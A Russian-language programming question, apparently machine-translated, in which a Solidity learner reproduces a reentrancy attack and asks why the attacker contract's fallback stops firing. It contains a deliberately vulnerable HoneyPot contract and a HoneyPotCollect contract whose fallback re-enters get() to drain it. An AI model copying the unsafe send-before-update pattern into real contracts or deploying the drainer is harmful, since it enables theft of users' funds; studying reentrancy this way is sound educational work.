Я довольно новый в солидности.
Я пытаюсь переопределить атаку реентера.
Я получил эту работу по умному контракту ниже.
// import "./HoneyPot.sol";
contract HoneyPotCollect {
HoneyPot public honeypot;
event logString(string);
event logfallback(uint, uint);
address honeypot_addr;
constructor (address _honeypot) public {
honeypot = HoneyPot(_honeypot);
honeypot_addr = _honeypot;
}
function kill () public{
selfdestruct(msg.sender);
}
function collect() public payable {
honeypot.put.value(msg.value)();
bool res = honeypot.get();
}
function () external payable {
uint balance = honeypot.balances(msg.sender);
emit logfallback(honeypot_addr.balance, msg.value);
if (honeypot_addr.balance > msg.value) {
emit logString("callback");
bool res = honeypot.get();
}
}
}
contract HoneyPot {
mapping (address => uint) public balances;
constructor() public payable {
put();
}
function put() public payable {
balances[msg.sender] = msg.value;
}
function get() public payable {
(bool succ, ) = msg.sender.call.value(balances[msg.sender])("");
require(succ);
balances[msg.sender] = 0;
}
}
Тем не менее. после того как я изменил вторую часть кодов, которая является контрактом HoneyPot. Я не могу вызвать резервную функцию HoneyPotCollect, когда я вызвал функцию collect () в HoneyPotCollect.
Изменение заключается только в том, чтобы заставить функцию get () в HoneyPot возвращать тип bool.
contract HoneyPot {
mapping (address => uint) public balances;
constructor() public payable {
put();
}
function put() public payable {
balances[msg.sender] = msg.value;
}
function get() public payable returns (bool success) {
(bool succ, ) = msg.sender.call.value(balances[msg.sender])("");
require(succ);
balances[msg.sender] = 0;
return true;
}
}
Edit1:
Я только что узнал, что решение было бы объединить два контракта вместе в одном файле. Проблема ушла.
Тем не менее, есть другая проблема.
если я прокомментирую строку, резервная функция также не будет вызвана.
require(succ)
весь код выглядит так:
contract HoneyPot {
mapping (address => uint) public balances;
constructor() public payable {
put();
}
function put() public payable {
balances[msg.sender] = msg.value;
}
function get() public payable returns (bool success) {
(bool succ, ) = msg.sender.call.value(balances[msg.sender])("");
//require(succ);
balances[msg.sender] = 0;
return true;
}
}
Пожалуйста, помогите! Заранее спасибо.